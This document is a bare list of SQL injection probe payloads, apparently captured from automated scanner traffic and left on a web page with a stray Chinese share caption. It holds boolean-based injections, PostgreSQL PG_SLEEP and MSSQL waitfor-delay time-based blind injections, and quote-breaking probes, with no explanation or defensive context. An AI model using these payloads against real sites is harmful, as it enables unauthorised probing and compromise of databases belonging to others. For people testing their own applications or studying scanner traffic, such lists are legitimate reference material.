- -1' OR 2+644-644-1=0+0+0+1 or 'F6xazeH9'='
- -1" OR 2+305-305-1=0+0+0+1 --
- 1YJwfdSD3'
- 1-1 OR 892=(SELECT 892 FROM PG_SLEEP(15))--
- 1-1) OR 244=(SELECT 244 FROM PG_SLEEP(15))--
- 1-1)) OR 216=(SELECT 216 FROM PG_SLEEP(15))--
- 1IZ2WiOJV' OR 637=(SELECT 637 FROM PG_SLEEP(15))--
- 1ipp03yKe') OR 354=(SELECT 354 FROM PG_SLEEP(15))--
- 1IknLzIUP')) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
- @@ScrUJ
- 1bSOlxxv4
- -1 OR 2+369-369-1=0+0+0+1 --
- -1 OR 3+369-369-1=0+0+0+1 --
- -1 OR 3*2<(0+5+369-369) --
- -1 OR 3*2>(0+5+369-369) --
- -1 OR 2+559-559-1=0+0+0+1
- -1 OR 3+559-559-1=0+0+0+1
- -1 OR 3*2<(0+5+559-559)
- -1 OR 3*2>(0+5+559-559)
- -1' OR 2+419-419-1=0+0+0+1 --
- -1' OR 3+419-419-1=0+0+0+1 --
- -1' OR 3*2<(0+5+419-419) --
- -1' OR 3*2>(0+5+419-419) --
- -1' OR 2+780-780-1=0+0+0+1 or 'SqKgVmfK'='
- -1' OR 3+780-780-1=0+0+0+1 or 'SqKgVmfK'='
- -1' OR 3*2<(0+5+780-780) or 'SqKgVmfK'='
- -1' OR 3*2>(0+5+780-780) or 'SqKgVmfK'='
- -1" OR 2+885-885-1=0+0+0+1 --
- -1" OR 3+885-885-1=0+0+0+1 --
- -1" OR 3*2<(0+5+885-885) --
- -1" OR 3*2>(0+5+885-885) --
- 1PgJgit97'
- 1-1 OR 829=(SELECT 829 FROM PG_SLEEP(15))--
- 1-1) OR 764=(SELECT 764 FROM PG_SLEEP(15))--
- 1-1)) OR 94=(SELECT 94 FROM PG_SLEEP(15))--
- 1d99ZzSDz' OR 464=(SELECT 464 FROM PG_SLEEP(15))--
- 1SAYC01U2') OR 496=(SELECT 496 FROM PG_SLEEP(15))--
- 1zmpCHHau')) OR 661=(SELECT 661 FROM PG_SLEEP(15))--
- %2527%2522\'\"
- @@4t2gP
- 1wK2QViLL
- -1 OR 2+978-978-1=0+0+0+1 --
- -1 OR 2+931-931-1=0+0+0+1
- -1' OR 2+657-657-1=0+0+0+1 --
- -1' OR 2+573-573-1=0+0+0+1 or 'KsFsxijH'='
- -1" OR 2+454-454-1=0+0+0+1 --
- 1lMb1kHJN'
- 1-1 OR 484=(SELECT 484 FROM PG_SLEEP(15))--
- 1-1) OR 344=(SELECT 344 FROM PG_SLEEP(15))--
- 1-1)) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
- 1pDEokUAc' OR 603=(SELECT 603 FROM PG_SLEEP(15))--
- 15eA216sz') OR 166=(SELECT 166 FROM PG_SLEEP(15))--
- 1RTxjdikj')) OR 192=(SELECT 192 FROM PG_SLEEP(15))--
- @@J3vOT
- 1hdHYDMc8
- -1 OR 2+223-223-1=0+0+0+1 --
- -1 OR 2+641-641-1=0+0+0+1
- -1' OR 2+815-815-1=0+0+0+1 --
- -1' OR 2+595-595-1=0+0+0+1 or '0otLwWmI'='
- -1" OR 2+470-470-1=0+0+0+1 --
- 1ZURLKn0l'; waitfor delay '0:0:15' --
- 1-1 OR 978=(SELECT 978 FROM PG_SLEEP(15))--
- 1-1) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
- 1-1)) OR 267=(SELECT 267 FROM PG_SLEEP(15))--
- 1meQdLZ4c' OR 382=(SELECT 382 FROM PG_SLEEP(15))--
- 1lVU3HmeR') OR 416=(SELECT 416 FROM PG_SLEEP(15))--
- 1tsX61qeM')) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
- @@mtkk9
微信扫一扫, 保存到手机
